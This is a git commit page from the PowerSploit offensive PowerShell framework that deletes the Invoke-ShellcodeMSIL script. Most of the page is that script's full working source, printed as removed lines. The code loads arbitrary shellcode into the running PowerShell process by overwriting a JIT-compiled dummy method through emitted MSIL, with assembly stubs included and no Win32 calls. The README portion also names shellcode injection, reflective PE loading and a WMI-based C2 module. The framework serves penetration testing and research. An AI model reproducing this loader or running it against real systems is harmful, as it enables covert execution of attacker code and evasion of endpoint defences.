diff options
author | Matt Graeber <PowerShellMafia@users.noreply.github.com> | 2015-11-05 13:26:05 -0500 |
---|---|---|
committer | Matt Graeber <PowerShellMafia@users.noreply.github.com> | 2015-11-05 13:26:05 -0500 |
commit | 18b7a10f89eb5f1038c443b5b39d3a8e327fb090 (patch) | |
tree | 1a1aa5b7aa31f3d5d0e7bee925549eb622cf9ff5 | |
parent | 641eff706e9f34914235441a70333b1daab73ae9 (diff) | |
download | PowerSploit-18b7a10f89eb5f1038c443b5b39d3a8e327fb090.tar.gz PowerSploit-18b7a10f89eb5f1038c443b5b39d3a8e327fb090.zip |
Removing Invoke-ShellcodeMSIL
This was only ever intended to be a PoC. I'll bring this back if
requested but it exhibits duplicate functionality.
-rw-r--r-- | CodeExecution/CodeExecution.psd1 | 2 | ||||
-rw-r--r-- | CodeExecution/Invoke-ShellcodeMSIL.ps1 | 267 | ||||
-rw-r--r-- | README.md | 4 |
3 files changed, 1 insertions, 272 deletions
diff --git a/CodeExecution/CodeExecution.psd1 b/CodeExecution/CodeExecution.psd1 index 0d0799b..96e9abc 100644 --- a/CodeExecution/CodeExecution.psd1 +++ b/CodeExecution/CodeExecution.psd1 @@ -74,7 +74,7 @@ ModuleList = @(@{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = # List of all files packaged with this module FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke-Shellcode.ps1', 'Invoke-DllInjection.ps1', - 'Invoke-ShellcodeMSIL.ps1', 'Invoke-ReflectivePEInjection.ps1', 'Invoke-WmiCommand.ps1', 'Usage.md' + 'Invoke-ReflectivePEInjection.ps1', 'Invoke-WmiCommand.ps1', 'Usage.md' # Private data to pass to the module specified in RootModule/ModuleToProcess # PrivateData = '' diff --git a/CodeExecution/Invoke-ShellcodeMSIL.ps1 b/CodeExecution/Invoke-ShellcodeMSIL.ps1 deleted file mode 100644 index 158a643..0000000 --- a/CodeExecution/Invoke-ShellcodeMSIL.ps1 +++ /dev/null @@ -1,267 +0,0 @@ -function Invoke-ShellcodeMSIL -{ -<# -.SYNOPSIS - - Execute shellcode within the context of the running PowerShell process without making any Win32 function calls. - - PowerSploit Function: Invoke-ShellcodeMSIL - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - -.DESCRIPTION - - Invoke-ShellcodeMSIL executes shellcode by using specially crafted MSIL opcodes to overwrite a JITed dummy method. This technique is compelling because unlike Invoke-Shellcode, Invoke-ShellcodeMSIL doesn't call any Win32 functions. - -.PARAMETER Shellcode - - Specifies the shellcode to be executed. - -.EXAMPLE - - C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3) - - Description - ----------- - Executes the following instructions - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET) - Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit! - -.NOTES - - Your shellcode must end in a ret (0xC3) and maintain proper stack alignment or PowerShell will crash! - - Use the '-Verbose' option to print detailed information. - -.LINK - - http://www.exploit-monday.com -#> - - [CmdletBinding()] Param ( - [Parameter( Mandatory = $True )] - [ValidateNotNullOrEmpty()] - [Byte[]] - $Shellcode - ) - - function Get-MethodAddress - { - [CmdletBinding()] Param ( - [Parameter(Mandatory = $True, ValueFromPipeline = $True)] - [System.Reflection.MethodInfo] - $MethodInfo - ) - - if ($MethodInfo.MethodImplementationFlags -eq 'InternalCall') - { - Write-Warning "$($MethodInfo.Name) is an InternalCall method. These methods always point to the same address." - } - - try { $Type = [MethodLeaker] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined - { - if ([IntPtr]::Size -eq 4) { $ReturnType = [UInt32] } else { $ReturnType = [UInt64] } - - $Domain = [AppDomain]::CurrentDomain - $DynAssembly = New-Object System.Reflection.AssemblyName('MethodLeakAssembly') - # Assemble in memory - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('MethodLeakModule') - $TypeBuilder = $ModuleBuilder.DefineType('MethodLeaker', [System.Reflection.TypeAttributes]::Public) - # Declaration of the LeakMethod method - $MethodBuilder = $TypeBuilder.DefineMethod('LeakMethod', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, $ReturnType, $null) - $Generator = $MethodBuilder.GetILGenerator() - - # Push unmanaged pointer to MethodInfo onto the evaluation stack - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldftn, $MethodInfo) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ret) - - # Assemble everything - $Type = $TypeBuilder.CreateType() - } - - $Method = $Type.GetMethod('LeakMethod') - - try - { - # Call the method and return its JITed address - $Address = $Method.Invoke($null, @()) - - Write-Output (New-Object IntPtr -ArgumentList $Address) - } - catch [System.Management.Automation.MethodInvocationException] - { - Write-Error "$($MethodInfo.Name) cannot return an unmanaged address." - } - } - -#region Define the method that will perform the overwrite - try { $SmasherType = [MethodSmasher] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined - { - $Domain = [AppDomain]::CurrentDomain - $DynAssembly = New-Object System.Reflection.AssemblyName('MethodSmasher') - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $Att = New-Object System.Security.AllowPartiallyTrustedCallersAttribute - $Constructor = $Att.GetType().GetConstructors()[0] - $ObjectArray = New-Object System.Object[](0) - $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray) - $AssemblyBuilder.SetCustomAttribute($AttribBuilder) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('MethodSmasher') - $ModAtt = New-Object System.Security.UnverifiableCodeAttribute - $Constructor = $ModAtt.GetType().GetConstructors()[0] - $ObjectArray = New-Object System.Object[](0) - $ModAttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray) - $ModuleBuilder.SetCustomAttribute($ModAttribBuilder) - $TypeBuilder = $ModuleBuilder.DefineType('MethodSmasher', [System.Reflection.TypeAttributes]::Public) - $Params = New-Object System.Type[](3) - $Params[0] = [IntPtr] - $Params[1] = [IntPtr] - $Params[2] = [Int32] - $MethodBuilder = $TypeBuilder.DefineMethod('OverwriteMethod', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, $null, $Params) - $Generator = $MethodBuilder.GetILGenerator() - # The following MSIL opcodes are effectively a memcpy - # arg0 = destinationAddr, arg1 = sourceAddr, arg2 = length - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_0) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_1) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_2) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Volatile) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Cpblk) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ret) - - $SmasherType = $TypeBuilder.CreateType() - } - - $OverwriteMethod = $SmasherType.GetMethod('OverwriteMethod') -#endregion - -#region Define the method that we're going to overwrite - try { $Type = [SmashMe] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined - { - $Domain = [AppDomain]::CurrentDomain - $DynAssembly = New-Object System.Reflection.AssemblyName('SmashMe') - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $Att = New-Object System.Security.AllowPartiallyTrustedCallersAttribute - $Constructor = $Att.GetType().GetConstructors()[0] - $ObjectArray = New-Object System.Object[](0) - $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray) - $AssemblyBuilder.SetCustomAttribute($AttribBuilder) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SmashMe') - $ModAtt = New-Object System.Security.UnverifiableCodeAttribute - $Constructor = $ModAtt.GetType().GetConstructors()[0] - $ObjectArray = New-Object System.Object[](0) - $ModAttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray) - $ModuleBuilder.SetCustomAttribute($ModAttribBuilder) - $TypeBuilder = $ModuleBuilder.DefineType('SmashMe', [System.Reflection.TypeAttributes]::Public) - $Params = New-Object System.Type[](1) - $Params[0] = [Int] - $MethodBuilder = $TypeBuilder.DefineMethod('OverwriteMe', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, [Int], $Params) - $Generator = $MethodBuilder.GetILGenerator() - $XorValue = 0x41424344 - $Generator.DeclareLocal([Int]) | Out-Null - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_0) - # The following MSIL opcodes serve two purposes: - # 1) Serves as a dummy XOR function to take up space in memory when it gets jitted - # 2) A series of XOR instructions won't be optimized out. This way, I'll be guaranteed to sufficient space for my shellcode. - foreach ($CodeBlock in 1..100) - { - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldc_I4, $XorValue) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Xor) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Stloc_0) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldloc_0) - $XorValue++ - } - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldc_I4, $XorValue) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Xor) - $Generator.Emit([System.Reflection.Emit.OpCodes]::Ret) - $Type = $TypeBuilder.CreateType() - } - - $TargetMethod = $Type.GetMethod('OverwriteMe') -#endregion - - # Force the target method to be JITed so that is can be cleanly overwritten - Write-Verbose 'Forcing target method to be JITed...' - - foreach ($Exec in 1..20) - { - $TargetMethod.Invoke($null, @(0x11112222)) | Out-Null - } - - if ( [IntPtr]::Size -eq 4 ) - { - # x86 Shellcode stub - $FinalShellcode = [Byte[]] @(0x60,0xE8,0x04,0,0,0,0x61,0x31,0xC0,0xC3) - <# - 00000000 60 pushad - 00000001 E804000000 call dword 0xa - 00000006 61 popad - 00000007 31C0 xor eax,eax - 00000009 C3 ret - YOUR SHELLCODE WILL BE PLACED HERE... - #> - - Write-Verbose 'Preparing x86 shellcode...' - } - else - { - # x86_64 shellcode stub - $FinalShellcode = [Byte[]] @(0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57, - 0x55,0xE8,0x0D,0x00,0x00,0x00,0x5D,0x41, - 0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x48, - 0x31,0xC0,0xC3) - <# - 00000000 4154 push r12 - 00000002 4155 push r13 - 00000004 4156 push r14 - 00000006 4157 push r15 - 00000008 55 push rbp - 00000009 E80D000000 call dword 0x1b - 0000000E 5D pop rbp - 0000000F 415F pop r15 - 00000011 415E pop r14 - 00000013 415D pop r13 - 00000015 415C pop r12 - 00000017 4831C0 xor rax,rax - 0000001A C3 ret - YOUR SHELLCODE WILL BE PLACED HERE... - #> - - Write-Verbose 'Preparing x86_64 shellcode...' - } - - # Append user-provided shellcode. - $FinalShellcode += $Shellcode - - # Allocate pinned memory for our shellcode - $ShellcodeAddress = [Runtime.InteropServices.Marshal]::AllocHGlobal($FinalShellcode.Length) - - Write-Verbose "Allocated shellcode at 0x$($ShellcodeAddress.ToString("X$([IntPtr]::Size*2)"))." - - # Copy the original shellcode bytes into the pinned, unmanaged memory. - # Note: this region of memory if marked PAGE_READWRITE - [Runtime.InteropServices.Marshal]::Copy($FinalShellcode, 0, $ShellcodeAddress, $FinalShellcode.Length) - - $TargetMethodAddress = [IntPtr] (Get-MethodAddress $TargetMethod) - - Write-Verbose "Address of the method to be overwritten: 0x$($TargetMethodAddress.ToString("X$([IntPtr]::Size*2)"))" - Write-Verbose 'Overwriting dummy method with the shellcode...' - - $Arguments = New-Object Object[](3) - $Arguments[0] = $TargetMethodAddress - $Arguments[1] = $ShellcodeAddress - $Arguments[2] = $FinalShellcode.Length - - # Overwrite the dummy method with the shellcode opcodes - $OverwriteMethod.Invoke($null, $Arguments) - - Write-Verbose 'Executing shellcode...' - - # 'Invoke' our shellcode >D - $ShellcodeReturnValue = $TargetMethod.Invoke($null, @(0x11112222)) - - if ($ShellcodeReturnValue -eq 0) - { - Write-Verbose 'Shellcode executed successfully!' - } -} @@ -18,10 +18,6 @@ Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or Injects shellcode into the process ID of your choosing or within PowerShell locally. -#### `Invoke-ShellcodeMSIL` - -Execute shellcode within the context of the running PowerShell process without making any Win32 function calls. - #### `Invoke-WmiCommand` Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 channel. |